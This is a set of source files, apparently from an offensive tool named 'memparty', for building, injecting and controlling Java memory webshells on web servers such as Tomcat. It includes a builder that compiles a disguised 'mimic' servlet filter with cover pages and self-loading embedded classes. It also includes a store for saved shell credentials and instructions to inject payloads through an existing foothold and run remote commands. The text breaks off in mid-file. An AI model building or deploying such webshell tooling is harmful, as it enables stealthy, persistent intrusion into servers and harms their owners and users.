}),\n};\n\nregisterProtocol(godzillaProtocol);\nregisterProtocol(behinderProtocol);\nregisterProtocol(suo5Protocol);\nregisterProtocol(mimicProtocol);\n","/**\n * Global operation log — every gen / probe / connect / exec / download /\n * upload / target operation is appended as one JSON line, giving an\n * auditable trail of what ran, against which target, and how it ended.\n *\n * Location: ~/.memparty/operations.jsonl (override with MEMPARTY_OPLOG).\n * Logging is best-effort: a broken log file/dir must never break the\n * operation being logged.\n *\n * Secrets are never logged: no pass/key/headerValue, no payload bytes,\n * no file contents. Exec output is truncated (see OUTPUT_LIMIT).\n */\nimport { appendFileSync, existsSync, mkdirSync, readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nexport type OpCategory =\n | \"gen\"\n | \"probe\"\n | \"connect\"\n | \"exec\"\n | \"download\"\n | \"upload\"\n | \"save\"\n | \"note\"\n | \"remove\";\n\nexport interface OpLogEntry {\n /** ISO timestamp. */\n ts: string;\n category: OpCategory;\n /** What happened: \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"save\" | \"note\" | \"remove\". */\n action: string;\n /** Saved `project/shell` reference, when the operation used one. */\n targetName?: string;\n url?: string;\n tool?: string;\n ok: boolean;\n durationMs?: number;\n /** Short human-readable success detail. */\n detail?: string;\n error?: string;\n /** exec only: the command line. */\n command?: string;\n /** exec only: remote output, truncated to OUTPUT_LIMIT. */\n output?: string;\n outputTruncated?: boolean;\n /** Extra structured fields (target meta, gen params — never credentials). */\n meta?: Record<string, unknown>;\n}\n\n/** exec output is truncated to this many characters in the log. */\nexport const OUTPUT_LIMIT = 2000;\n\nexport function opLogPath(): string {\n return process.env.MEMPARTY_OPLOG ?? join(homedir(), \".memparty\", \"operations.jsonl\");\n}\n\n/** Append one entry. Never throws. */\nexport function logOp(entry: Omit<OpLogEntry, \"ts\">): void {\n try {\n const file = opLogPath();\n mkdirSync(dirname(file), { recursive: true });\n appendFileSync(file, `${JSON.stringify({ ts: new Date().toISOString(), ...entry })}\\n`);\n } catch {\n // best-effort logging — the operation itself already completed\n }\n}\n\nexport interface OpFilter {\n category?: OpCategory;\n /**\n * Match by saved target reference (\"web1\" also matches \"web1/bh9060\")\n * or by a substring of the URL (e.g. a host).\n */\n target?: string;\n /** Max entries returned (default 50). */\n limit?: number;\n}\n\n/** Read entries matching the filter, newest first. */\nexport function readOps(filter: OpFilter = {}): OpLogEntry[] {\n let entries: OpLogEntry[] = [];\n try {\n const file = opLogPath();\n if (existsSync(file)) {\n for (const line of readFileSync(file, \"utf8\").split(\"\\n\")) {\n const trimmed = line.trim();\n if (!trimmed) continue;\n try {\n entries.push(JSON.parse(trimmed) as OpLogEntry);\n } catch {\n // skip malformed lines\n }\n }\n }\n } catch {\n return [];\n }\n if (filter.category) {\n entries = entries.filter((e) => e.category === filter.category);\n }\n if (filter.target) {\n const t = filter.target;\n entries = entries.filter(\n (e) =>\n e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t),\n );\n }\n return entries.slice(-(filter.limit ?? 50)).reverse();\n}\n\n/** Truncate exec output for the log. */\nexport function truncateOutput(output: string): { output: string; truncated: boolean } {\n if (output.length <= OUTPUT_LIMIT) return { output, truncated: false };\n return { output: output.slice(0, OUTPUT_LIMIT), truncated: true };\n}\n\n/** One-line rendering for `memparty log`. */\nexport function formatOp(e: OpLogEntry): string {\n const ts = e.ts.replace(\"T\", \" \").slice(0, 19);\n const cat = e.category.padEnd(7);\n const status = e.ok ? \"ok \" : \"FAIL\";\n const target = e.targetName ?? e.url ?? \"-\";\n const ms = e.durationMs !== undefined ? ` (${e.durationMs}ms)` : \"\";\n let summary: string;\n if (e.category === \"exec\") {\n const out = (e.output ?? e.error ?? \"\").split(\"\\n\", 1)[0]!;\n const more =\n (e.output ?? \"\").includes(\"\\n\") || e.outputTruncated ? \"…\" : \"\";\n summary = `$ ${e.command ?? \"\"} → ${out}${more}`;\n } else {\n summary = e.detail ?? e.error ?? e.action;\n }\n return `${ts} ${cat} ${status} ${target} ${summary}${ms}`;\n}\n","/**\n * Named shell targets persisted to a JSON file, so a shell's URL +\n * credentials + gate header are saved once and later referenced by name:\n * memparty exec web1/bh9060 --cmd \"whoami\"\n *\n * A **project** groups several shells that belong to one engagement, with\n * an optional remark and category. A shell reference is `<project>/<shell>`;\n * a bare project name resolves when it holds exactly one shell.\n *\n * Store location: ~/.memparty/targets.json (override with MEMPARTY_TARGETS).\n */\nimport { existsSync, mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nimport type { ConnectTool } from \"../connect/types.js\";\n\n/** A saved shell connection profile, stored inside a project. */\nexport interface StoredShell {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n /** mimic protocol: site profile name (see 'memparty profile'). */\n profile?: string;\n /** Godzilla Upgrade shell protocol (generated shell class name). */\n upgradeProtocol?: string;\n /** Free-form note for this shell (e.g. \"DMZ 跳板机\"). */\n remark?: string;\n createdAt: string;\n updatedAt: string;\n}\n\nexport type ShellInput = Omit<StoredShell, \"createdAt\" | \"updatedAt\">;\n\n/** A named group of shells with a remark and a category. */\nexport interface StoredProject {\n remark?: string;\n category?: string;\n createdAt: string;\n updatedAt: string;\n shells: Record<string, StoredShell>;\n}\n\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\n\nfunction checkName(kind: string, name: string): void {\n if (!NAME_RE.test(name)) {\n throw new Error(\n `invalid ${kind} name ${JSON.stringify(name)} — use letters, digits, '.', '_', '-'`,\n );\n }\n}\n\nexport function targetStorePath(): string {\n return process.env.MEMPARTY_TARGETS ?? join(homedir(), \".memparty\", \"targets.json\");\n}\n\nexport function listProjects(): Record<string, StoredProject> {\n try {\n const file = targetStorePath();\n if (!existsSync(file)) return {};\n const data: unknown = JSON.parse(readFileSync(file, \"utf8\"));\n if (data !== null && typeof data === \"object\" && !Array.isArray(data)) {\n return data as Record<string, StoredProject>;\n }\n } catch {\n // corrupted store — treat as empty rather than crash the CLI\n }\n return {};\n}\n\nexport function getProject(name: string): StoredProject | null {\n return listProjects()[name] ?? null;\n}\n\nfunction writeProjects(projects: Record<string, StoredProject>): void {\n const file = targetStorePath();\n mkdirSync(dirname(file), { recursive: true });\n writeFileSync(file, `${JSON.stringify(projects, null, 2)}\\n`, { mode: 0o600 });\n}\n\n/** Create a project or update its remark/category (only given fields change). */\nexport function saveProjectMeta(\n name: string,\n meta: { remark?: string; category?: string },\n): StoredProject {\n checkName(\"project\", name);\n const projects = listProjects();\n const now = new Date().toISOString();\n const existing = projects[name];\n const norm = (v: string | undefined) => (v ? v : undefined);\n const project: StoredProject = {\n remark: meta.remark !== undefined ? norm(meta.remark) : existing?.remark,\n category: meta.category !== undefined ? norm(meta.category) : existing?.category,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n shells: existing?.shells ?? {},\n };\n projects[name] = project;\n writeProjects(projects);\n return project;\n}\n\n/** Save a shell under `<project>/<shell>`; creates the project if needed. */\nexport function saveShell(projectName: string, shellName: string, input: ShellInput): StoredShell {\n checkName(\"project\", projectName);\n checkName(\"shell\", shellName);\n const projects = listProjects();\n const now = new Date().toISOString();\n const project = projects[projectName] ?? {\n createdAt: now,\n updatedAt: now,\n shells: {},\n };\n const existing = project.shells[shellName];\n const stored: StoredShell = {\n ...input,\n // remark is merged (empty string clears); other fields are overwritten\n remark: input.remark !== undefined ? input.remark || undefined : existing?.remark,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n };\n project.shells[shellName] = stored;\n project.updatedAt = now;\n projects[projectName] = project;\n writeProjects(projects);\n return stored;\n}\n\n/** Remove a whole project. Returns false when it did not exist. */\nexport function removeProject(name: string): boolean {\n const projects = listProjects();\n if (!(name in projects)) return false;\n delete projects[name];\n writeProjects(projects);\n return true;\n}\n\n/** Remove one shell from a project. Returns false when it did not exist. */\nexport function removeShell(projectName: string, shellName: string): boolean {\n const projects = listProjects();\n const project = projects[projectName];\n if (!project || !(shellName in project.shells)) return false;\n delete project.shells[shellName];\n project.updatedAt = new Date().toISOString();\n writeProjects(projects);\n return true;\n}\n\n/** Set or clear (empty string) a shell's remark. */\nexport function saveShellMeta(\n projectName: string,\n shellName: string,\n meta: { remark?: string },\n): StoredShell {\n const projects = listProjects();\n const shell = projects[projectName]?.shells[shellName];\n if (!shell) {\n throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`);\n }\n if (meta.remark !== undefined) {\n shell.remark = meta.remark || undefined;\n }\n const now = new Date().toISOString();\n shell.updatedAt = now;\n projects[projectName]!.updatedAt = now;\n writeProjects(projects);\n return shell;\n}\n\n/** CLI/MCP flags that can override a stored shell's values. */\nexport interface ConnectionFlags {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n profile?: string;\n upgradeProtocol?: string;\n}\n\nexport interface ResolvedConnection {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders: Record<string, string>;\n insecure?: boolean;\n /** mimic protocol: site profile name. */\n profile?: string;\n upgradeProtocol?: string;\n /** Canonical `project/shell` reference, when resolved from the store. */\n targetName?: string;\n}\n\nfunction sanitizeName(name: string): string {\n const s = name.replace(/[^A-Za-z0-9._-]/g, \"_\");\n return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;\n}\n\n/**\n * Auto-save a verified connection under a derived `<host>/<tool>` name and\n * return the canonical reference. A slot already pointing at the same URL is\n * overwritten; a name taken by a different URL gets a numeric/port suffix.\n */\nexport function autoSaveShell(conn: ResolvedConnection): string {\n let host = \"target\";\n let port = \"\";\n try {\n const u = new URL(conn.url);\n host = u.hostname || host;\n port = u.port;\n } catch {\n // keep the fallback name\n }\n const projectName = sanitizeName(host) || \"target\";\n const existing = getProject(projectName)?.shells ?? {};\n\n let shellName = Object.keys(existing).find(\n (n) => existing[n]!.url === conn.url && existing[n]!.tool === conn.tool,\n );\n if (!shellName) {\n const base = sanitizeName(conn.tool) || \"shell\";\n shellName = base;\n if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;\n for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;\n }\n\n saveShell(projectName, shellName, {\n url: conn.url,\n tool: conn.tool,\n pass: conn.pass,\n key: conn.key,\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : undefined,\n insecure: conn.insecure,\n profile: conn.profile,\n upgradeProtocol: conn.upgradeProtocol,\n });\n return `${projectName}/${shellName}`;\n}\n\n/**\n * Merge an optional saved shell reference (`<project>/<shell>` or a bare\n * project holding exactly one shell) with explicit flags.\n * Priority: explicit flag > stored value.\n */\nexport function resolveConnection(\n ref: string | undefined,\n flags: ConnectionFlags,\n): ResolvedConnection {\n let stored: StoredShell | undefined;\n let targetName: string | undefined;\n\n if (ref) {\n const slash = ref.indexOf(\"/\");\n const projectName = slash === -1 ? ref : ref.slice(0, slash);\n let shellName = slash === -1 ? undefined : ref.slice(slash + 1);\n\n const project = getProject(projectName);\n if (!project) {\n throw new Error(`unknown project ${JSON.stringify(projectName)} — see 'memparty list'`);\n }\n if (!shellName) {\n const names = Object.keys(project.shells);\n if (names.length === 0) {\n throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`);\n }\n if (names.length > 1) {\n throw new Error(\n `project ${JSON.stringify(projectName)} has ${names.length} shells — pick one: ` +\n names.map((n) => `${projectName}/${n}`).join(\", \"),\n );\n }\n shellName = names[0]!;\n }\n stored = project.shells[shellName];\n if (!stored) {\n const known = Object.keys(project.shells);\n throw new Error(\n `unknown shell ${JSON.stringify(ref)} — project ${JSON.stringify(projectName)} has: ` +\n (known.length > 0 ? known.join(\", \") : \"(none)\"),\n );\n }\n targetName = `${projectName}/${shellName}`;\n }\n\n const tool = (flags.tool ?? stored?.tool) as ConnectTool | undefined;\n const url = flags.url ?? stored?.url;\n if (!url) {\n throw new Error(\"no URL — pass --url or a saved target name\");\n }\n if (!tool) {\n throw new Error(\"--tool is required — see the command's --help for available protocols\");\n }\n return {\n url,\n tool,\n pass: flags.pass ?? stored?.pass,\n key: flags.key ?? stored?.key,\n headerName: flags.headerName ?? stored?.headerName,\n headerValue: flags.headerValue ?? stored?.headerValue,\n extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },\n insecure: flags.insecure ?? stored?.insecure,\n profile: flags.profile ?? stored?.profile,\n upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,\n targetName,\n };\n}\n","import { Command } from \"commander\";\n\nimport { createClient, logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { randomString } from \"../connect/crypto.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { loadProfile } from \"../core/site-profile.js\";\nimport { buildCustomMemshell } from \"../custom/build.js\";\n\ninterface CustomBuildCmdOptions extends GlobalOptions {\n profile?: string;\n server?: string;\n type?: string;\n pass?: string;\n key?: string;\n urlPattern?: string;\n packer?: string;\n jdk?: string;\n out?: string;\n json?: boolean;\n}\n\n/**\n * `memparty custom build` — the agent-friendly one-shot: profile in,\n * injectable mimic memory shell out. The generated credentials and the\n * follow-up connect command are printed (and stored in manifest.json) so an\n * agent can chain the steps without re-deriving anything.\n */\nexport function registerCustomCommand(program: Command): void {\n program\n .command(\"custom\")\n .description(\"Custom (mimic) memory shells built from a site profile\")\n .addCommand(\n new Command(\"build\")\n .description(\"profile -> filter class -> MemShellParty Custom -> injectable payload\")\n .requiredOption(\"--profile <name>\", \"site profile name (see 'memparty profile list')\")\n .requiredOption(\"--server <server>\", \"target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')\")\n .option(\"--type <shellType>\", \"shell type the filter implements\", \"Filter\")\n .option(\"--pass <pass>\", \"credential baked into the shell (random if omitted)\")\n .option(\"--key <key>\", \"crypto key baked into the shell (random if omitted)\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\", \"/*\")\n .option(\"--packer <packer>\", \"payload packer\", \"DefaultBase64\")\n .option(\"--jdk <version>\", \"target JDK, e.g. java8\", \"java8\")\n .option(\"--out <dir>\", \"output directory\", undefined)\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThe full loop (see docs/mimic-memshell-guide.md):\n 1. write a site profile memparty profile init acme --site https://acme.cn\n 2. build the shell memparty custom build --profile acme --server Tomcat\n 3. inject payload-*.txt via your foothold (RCE / existing shell / upload)\n 4. connect + exec memparty connect -u <url> -t mimic --profile acme ...\n\nDelivery is NOT part of this command — it only builds the payload.\nRequires a JDK (javac on PATH) and a MemShellParty backend (--api).\n`,\n )\n .action(async (opts: CustomBuildCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions;\n const fail = (message: string): void => {\n reportError(message, opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n };\n\n let profile;\n try {\n profile = loadProfile(opts.profile!);\n } catch (err) {\n fail(err instanceof Error ? err.message : String(err));\n return;\n }\n\n // credentials are generated unless given — they are baked into the class\n const pass = opts.pass ?? randomString(10);\n const secret = opts.key ?? randomString(16);\n const outDir = opts.out ?? `${opts.profile}-build`;\n\n const client = createClient(globals);\n const started = Date.now();\n try {\n const result = await buildCustomMemshell(\n {\n profile,\n server: opts.server!,\n shellType: opts.type,\n pass,\n secret,\n urlPattern: opts.urlPattern,\n packer: opts.packer,\n jdk: opts.jdk,\n outDir,\n },\n client,\n );\n\n logOp({\n category: \"gen\",\n action: \"custom-build\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,\n meta: {\n profile: profile.name,\n server: result.server,\n shellType: result.shellType,\n packer: result.packer,\n },\n });\n\n if (opts.json) {\n const { response: _response, ...summary } = result;\n process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}\\n`);\n return;\n }\n\n logInfo(`filter class: ${result.fullClassName}`);\n logInfo(\n `injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`,\n );\n logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);\n logInfo(`cipher: ${JSON.stringify(result.cipher)}`);\n for (const [name, file] of Object.entries(result.files.payloads)) {\n logInfo(`payload [${name}]: ${file}`);\n }\n logInfo(`manifest: ${result.files.manifest}`);\n process.stdout.write(\n `\\nnext steps:\\n` +\n ` 1. inject the payload via your foothold (RCE defineClass / existing shell / upload)\\n` +\n ` 2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}\\n` +\n ` 3. memparty exec <host>/mimic --cmd \"id\"\\n`,\n );\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"custom-build\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: { profile: profile.name, server: opts.server },\n });\n fail(err instanceof Error ? err.message : String(err));\n }\n }),\n );\n}\n","/**\n * `memparty custom build` — turn a site profile into an injectable mimic\n * memory shell:\n *\n * profile ──render──> MimicFilter.java ──javac──> .class ──MemShellParty\n * shellTool=Custom──> injector + packed payload, ready for the foothold\n *\n * The filter is a plain javax.servlet.Filter — it carries NO middleware\n * specifics. Those live in the injector, which MemShellParty generates for\n * the chosen --server (Tomcat, TongWeb, Jetty, …). Delivery (the RCE / file\n * upload / existing webshell that defines the class) stays with the operator.\n *\n * Everything the follow-up `connect` needs is written to a manifest.json in\n * the output directory — pass/key/cipher are baked into the class, so the\n * manifest is the single source of truth for the client side.\n */\nimport { mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { join } from \"node:path\";\n\nimport type { MemShellGenerateResponse, MemPartyClient } from \"../api/index.js\";\nimport { resolveCipher, type MimicCipher } from \"../connect/mimic-codecs.js\";\nimport { randomString } from \"../connect/crypto.js\";\nimport { resolveJreVersion } from \"../core/jdk.js\";\nimport {\n inferBodyTemplateContentType,\n profileRequests,\n profileTemplates,\n type SiteProfile,\n} from \"../core/site-profile.js\";\nimport { renderFilterJava, renderWrapperJava } from \"./java-template.js\";\nimport { compileJava, servletApiJar } from \"./javac.js\";\n\nexport interface CustomBuildInput {\n profile: SiteProfile;\n /** MemShellParty server name, e.g. \"Tomcat\", \"TongWeb\" (see 'memparty config tools'). */\n server: string;\n /** Shell type the uploaded class implements (default \"Filter\"). */\n shellType?: string;\n /** Credentials baked into the filter — the client reuses them at connect time. */\n pass: string;\n secret: string;\n /** Injector URL pattern (default \"/*\"). */\n urlPattern?: string;\n /** Packer for the injector bytes (default \"DefaultBase64\"). */\n packer?: string;\n /** Target JRE, e.g. \"java8\" (default) — forwarded to the backend. */\n jdk?: string | number;\n /** Simple class name (default random MimicFilterXXXX — bump on every re-injection). */\n className?: string;\n /** Output directory for all artifacts. */\n outDir: string;\n}\n\nexport interface CustomBuildResult {\n className: string;\n fullClassName: string;\n injectorClassName: string;\n packer: string;\n server: string;\n shellType: string;\n urlPattern: string;\n pass: string;\n secret: string;\n cipher: MimicCipher;\n /** Backend response (payloads included). */\n response: MemShellGenerateResponse;\n files: {\n java: string;\n classFile: string;\n manifest: string;\n payloads: Record<string, string>;\n };\n}\n\n/** The subset of MemPartyClient this flow needs (easy to fake in tests). */\nexport type GenerateClient = Pick<MemPartyClient, \"generateMemShell\">;\n\n/** Injectable seams for tests. */\nexport interface BuildDeps {\n compile?: (sources: string[], outDir: string, opts: { classpath?: string[] }) => void;\n servletJar?: () => string;\n}\n\n/** Carrier field names the filter should probe, from the profile's request shapes. */\nexport function profileSecretFields(profile: SiteProfile): string[] {\n const shapes = profileRequests(profile);\n const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];\n return fields.length > 0 ? fields : [\"pass\"];\n}\n\n/** Normalize a Content-Type to the lowercase needle the filter contains-matches. */\nfunction ctNeedle(ct: string): string {\n const media = ct.toLowerCase().split(\";\", 1)[0]!.trim();\n if (media.includes(\"json\")) return \"json\";\n if (media.includes(\"multipart\")) return \"multipart\";\n if (media.includes(\"xml\")) return \"xml\";\n return media;\n}\n\n/**\n * Body Content-Type needles the filter reads bodies for, derived from the\n * profile's body shapes (json bodyStyle / bodyTemplate CT, explicit or\n * inferred). Empty = the filter never touches the body stream — reading a\n * body the shell doesn't own consumes it and breaks the app behind it.\n */\nexport function profileBodyContentTypes(profile: SiteProfile): string[] {\n const needles = new Set<string>();\n for (const r of profileRequests(profile)) {\n if (r.secretIn !== undefined && r.secretIn !== \"body\") continue;\n if (r.bodyTemplate !== undefined) {\n const explicit = Object.entries(r.headers ?? {}).find(\n ([k]) => k.toLowerCase() === \"content-type\",\n )?.[1];\n const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);\n if (ct) needles.add(ctNeedle(ct));\n } else if (r.bodyStyle === \"json\") {\n needles.add(\"json\");\n }\n }\n return [...needles];\n}\n\n/** Default class name: MimicFilter + 4 random chars (a JVM can't re-define a class). */\nexport function defaultClassName(): string {\n return `MimicFilter${randomString(4)}`;\n}\n\nexport async function buildCustomMemshell(\n input: CustomBuildInput,\n client: GenerateClient,\n deps: BuildDeps = {},\n): Promise<CustomBuildResult> {\n const compile = deps.compile ?? compileJava;\n const jarOf = deps.servletJar ?? servletApiJar;\n\n const className = input.className ?? defaultClassName();\n const shellType = input.shellType ?? \"Filter\";\n const urlPattern = input.urlPattern ?? \"/*\";\n const packer = input.packer ?? \"DefaultBase64\";\n const cipher = resolveCipher(input.profile.cipher);\n const templates = profileTemplates(input.profile).map((t) => ({\n template: t.template,\n contentType: t.contentType,\n }));\n if (templates.length === 0) {\n throw new Error(`profile '${input.profile.name}' has no templates — nothing to use as cover page`);\n }\n\n const outDir = input.outDir;\n const packageDir = join(outDir, \"mimic\");\n mkdirSync(packageDir, { recursive: true });\n\n // phase 1: the body-caching wrapper (fixed source). Its bytes ride inside\n // the filter as base64 — the filter self-defines them at runtime, because\n // MemShellParty's Custom generator can only resolve a single class file.\n const wrapperFile = join(packageDir, \"CachedBody.java\");\n writeFileSync(wrapperFile, renderWrapperJava(), \"utf8\");\n compile([wrapperFile], outDir, { classpath: [jarOf()] });\n const wrapper = {\n bodyB64: readFileSync(join(packageDir, \"CachedBody.class\")).toString(\"base64\"),\n streamB64: readFileSync(join(packageDir, \"CachedBody$Stream.class\")).toString(\"base64\"),\n };\n\n // phase 2: the filter itself (single self-contained class uploaded to the backend)\n const javaSource = renderFilterJava({\n className,\n pass: input.pass,\n secret: input.secret,\n fields: profileSecretFields(input.profile),\n bodyContentTypes: profileBodyContentTypes(input.profile),\n templates,\n cipher,\n wrapper,\n });\n const javaFile = join(packageDir, `${className}.java`);\n writeFileSync(javaFile, javaSource, \"utf8\");\n\n compile([javaFile], outDir, { classpath: [jarOf()] });\n const classFile = join(packageDir, `${className}.class`);\n const shellClassBase64 = readFileSync(classFile).toString(\"base64\");\n\n const response = await client.generateMemShell({\n shellConfig: {\n server: input.server,\n shellTool: \"Custom\",\n shellType,\n targetJreVersion: resolveJreVersion(input.jdk ?? \"java8\"),\n },\n shellToolConfig: {\n shellClassName: `mimic.${className}`,\n shellClassBase64,\n },\n injectorConfig: { urlPattern },\n packer,\n });\n\n // one file per payload variant (aggregate packers return several)\n const payloads: Record<string, string> = {};\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n const file = join(outDir, `payload-${name}.txt`);\n writeFileSync(file, `${value}\\n`, \"utf8\");\n payloads[name] = file;\n }\n } else if (response.packResult !== undefined) {\n const file = join(outDir, \"payload.txt\");\n writeFileSync(file, `${response.packResult}\\n`, \"utf8\");\n payloads[packer] = file;\n }\n\n const result: CustomBuildResult = {\n className,\n fullClassName: `mimic.${className}`,\n injectorClassName: response.memShellResult.injectorClassName,\n packer,\n server: input.server,\n shellType,\n urlPattern,\n pass: input.pass,\n secret: input.secret,\n cipher,\n response,\n files: {\n java: javaFile,\n classFile,\n manifest: join(outDir, \"manifest.json\"),\n payloads,\n },\n };\n\n const manifest = {\n tool: \"mimic\",\n createdAt: new Date().toISOString(),\n profile: input.profile.name,\n server: result.server,\n shellType: result.shellType,\n urlPattern: result.urlPattern,\n packer: result.packer,\n className: result.fullClassName,\n injectorClassName: result.injectorClassName,\n pass: result.pass,\n key: result.secret,\n cipher: result.cipher,\n note:\n \"pass/key/cipher are baked into the filter class. Editing the profile's cipher \" +\n \"section afterwards desynchronizes client and server — rebuild and re-inject.\",\n connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,\n files: result.files,\n };\n writeFileSync(result.files.manifest, `${JSON.stringify(manifest, null, 2)}\\n`, \"utf8\");\n\n return result;\n}\n","/** Maps friendly JDK names to Java class-file major versions. */\nexport const JDK_VERSIONS: Record<string, number> = {\n java6: 50,\n java8: 52,\n java9: 53,\n java11: 55,\n java17: 61,\n java21: 65,\n java25: 69,\n};\n\n/**\n * Resolve a user-supplied JDK value into a class-file major version number.\n * Accepts friendly names (\"java8\", \"8\"), or a raw major version (\"52\").\n */\nexport function resolveJreVersion(input: string | number | undefined): number | undefined {\n if (input === undefined || input === \"\") return undefined;\n\n if (typeof input === \"number\") return input;\n\n const normalized = input.trim().toLowerCase();\n\n // Friendly name, e.g. \"java8\"\n if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];\n\n // Bare java number, e.g. \"8\" -> java8\n const withPrefix = `java${normalized}`;\n if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];\n\n // Raw class-file major version, e.g. \"52\"\n const num = Number(normalized);\n if (Number.isInteger(num) && num > 0) return num;\n\n throw new Error(\n `Invalid JDK version \"${input}\". Use one of: ${Object.keys(JDK_VERSIONS).join(\", \")}, or a class-file major version like 52.`,\n );\n}\n","/**\n * Java source rendering for the mimic filter — the server half of the mimic\n * protocol, generated from a site profile and compiled by `memparty custom\n * build` (see docs/custom-memshell-design.md §B / mimic-memshell-guide.md).\n *\n * The crypto/encoding/padTail snippets below are the Java twins of\n * src/connect/mimic-codecs.ts. They are emitted VERBATIM into both the\n * filter and the CryptoProbe harness (renderCryptoProbe) — the probe is what\n * src/custom/java-probe.test.ts runs to prove the two languages produce\n * byte-compatible wire values. Never edit a snippet in only one place.\n *\n * The filter itself keeps the proven V6 behaviour:\n * - probe with getParameter()/getHeader() only (never touch the body\n * stream, so Behinder-style raw-body shells behind us keep working);\n * - anything that isn't ours falls through chain.doFilter untouched;\n * - any error answers with the plain cover page (stay quiet);\n * - the cover pages rotate per response.\n */\nimport type { MimicCipher } from \"../connect/mimic-codecs.js\";\n\nexport interface FilterTemplateOptions {\n /** Simple class name, e.g. \"MimicFilterAb3d\" (package is always `mimic`). */\n className: string;\n /** Credential pair — must match the client's --pass/--key at connect time. */\n pass: string;\n secret: string;\n /** Carrier field names (form fields / headers) that may hold the ciphertext. */\n fields: string[];\n /**\n * Lowercase Content-Type needles (contains-match): the body is read only\n * when its Content-Type matches one — derived from the profile's body\n * shapes. Empty = never touch the body stream: reading a body the shell\n * doesn't own consumes it and breaks the app behind us.\n */\n bodyContentTypes: string[];\n /** Cover bodies from the site profile (rotated per response, each with its contentType). */\n templates: Array<{ template: string; contentType: string }>;\n cipher: MimicCipher;\n /**\n * Base64 bytes of the body-wrapper classes (renderWrapperJava, compiled by\n * the build's first phase). The filter self-defines them at runtime so the\n * uploaded shell stays a single self-contained class — MemShellParty's\n * Custom generator can only resolve one class.\n */\n wrapper: { bodyB64: string; streamB64: string };\n}\n\n/**\n * The body-caching request wrapper, as a standalone fixed source — compiled\n * in the build's first phase, then embedded into the filter as base64 (it\n * self-defines the classes at runtime). Kept anonymous-class-free ON\n * PURPOSE: every named .class file must be embedded and defined explicitly.\n */\nexport function renderWrapperJava(): string {\n return `package mimic;\n\nimport java.io.*;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n\n/** Re-exposes a consumed request body to downstream filters/servlets. */\npublic class CachedBody extends HttpServletRequestWrapper {\n private final byte[] body;\n\n public CachedBody(HttpServletRequest req, byte[] body) {\n super(req);\n this.body = body;\n }\n\n public ServletInputStream getInputStream() {\n return new Stream(body);\n }\n\n public BufferedReader getReader() {\n return new BufferedReader(new InputStreamReader(getInputStream()));\n }\n\n static class Stream extends ServletInputStream {\n private final ByteArrayInputStream in;\n\n Stream(byte[] body) {\n this.in = new ByteArrayInputStream(body);\n }\n\n public int read() {\n return in.read();\n }\n\n public boolean isFinished() {\n return in.available() == 0;\n }\n\n public boolean isReady() {\n return true;\n }\n\n public void setReadListener(ReadListener l) {}\n }\n}\n`;\n}\n\n/** Escape a string for embedding as a Java string literal (non-ASCII -> \\uXXXX). */\nexport function javaStringLiteral(s: string): string {\n return s\n .replaceAll(\"\\\\\", \"\\\\\\\\\")\n .replaceAll('\"', '\\\\\"')\n .replaceAll(\"\\r\", \"\")\n .replaceAll(\"\\n\", \"\\\\n\")\n // eslint-disable-next-line no-control-regex\n .replaceAll(/[^\\x00-\\x7f]/g, (ch) => `\\\\u${ch.codePointAt(0)!.toString(16).padStart(4, \"0\")}`);\n}\n\n/** Java for the runtime self-loader (defines the embedded wrapper classes once). */\nfunction wrapperLoaderMethods(opts: FilterTemplateOptions): string {\n return `\n /** wrapper class bytes (mimic.CachedBody + its stream) — embedded so the\n uploaded shell stays a single self-contained class file */\n static final String WRAPPER_B64 = \"${opts.wrapper.bodyB64}\";\n static final String WRAPPER_STREAM_B64 = \"${opts.wrapper.streamB64}\";\n\n 